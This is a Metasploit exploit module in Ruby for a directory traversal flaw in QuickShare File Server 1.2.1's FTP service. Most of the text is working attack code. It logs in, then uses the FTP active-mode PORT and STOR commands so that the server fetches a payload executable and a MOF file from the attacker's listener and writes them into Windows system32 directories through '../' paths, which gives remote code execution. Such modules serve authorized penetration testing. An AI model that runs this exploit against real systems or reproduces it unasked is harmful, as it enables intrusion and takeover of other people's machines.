## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::TcpServer include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super( update_info( info, 'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in QuickShare File Server's FTP service. By supplying "../" in the file path, it is possible to trigger a directory traversal flaw, allowing the attacker to read a file outside the virtual directory. By default, the "Writable" option is enabled during account creation, therefore this makes it possible to create a file at an arbitrary location, which leads to remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'modpr0be', # Discovery, PoC 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2011-10010'], ['OSVDB', '70776'], ['EDB', '16105'], ['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'], ['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/'], ['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER], ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION], ['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => [ ['QuickShare File Server 1.2.1', {}] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'DisclosureDate' => '2011-02-03', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ # Change the default description so this option makes sense OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) ] ) end def check connect disconnect if banner =~ /quickshare ftpd/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_client_connect(cli) peer = "#{cli.peerhost}:#{cli.peerport}" case @stage when :exe print_status("Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) @stage = :mof when :mof print_status("Sending MOF (#{@mof.length.to_s} bytes)") cli.put(@mof) end cli.close end def upload(filename) select(nil, nil, nil, 1) peer = "#{rhost}:#{rport}" print_status("Trying to upload #{::File.basename(filename)}") # We can't use connect_login, because it cannot determine a successful login correctly. # For example: The server actually returns a 503 (Bad Sequence of Commands) when the # user has already authenticated. conn = connect(false, datastore['VERBOSE']) res = send_user(datastore['FTPUSER'], conn) if res !~ /^(331|2)/ fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}") end res = send_pass(datastore['FTPPASS'], conn) if res !~ /^(2|503)/ fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}") end # Switch to binary mode print_status("Set binary mode") send_cmd(['TYPE', 'I'], true, conn) # Prepare active mode: Get attacker's IP and source port src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST'] src_port = datastore['SRVPORT'].to_i # Prepare active mode: Convert the IP and port for active mode src_ip = src_ip.gsub(/\./, ',') src_port = "#{src_port / 256},#{src_port.remainder(256)}" # Set to active mode print_status("Set active mode \"#{src_ip},#{src_port}\"") send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn) # Tell the FTP server to download our file send_cmd(['STOR', filename], false, conn) disconnect(conn) end def exploit trigger = '../../../../../../../../' exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe" mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.vbs" @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) @exe = generate_payload_exe @stage = :exe begin t = framework.threads.spawn("reqs", false) { begin # Upload our malicious executable u = upload(exe_name) # Upload the mof file upload(mof_name) if u rescue ::Exception => e print_error e.message cleanup end } super ensure t.kill end end end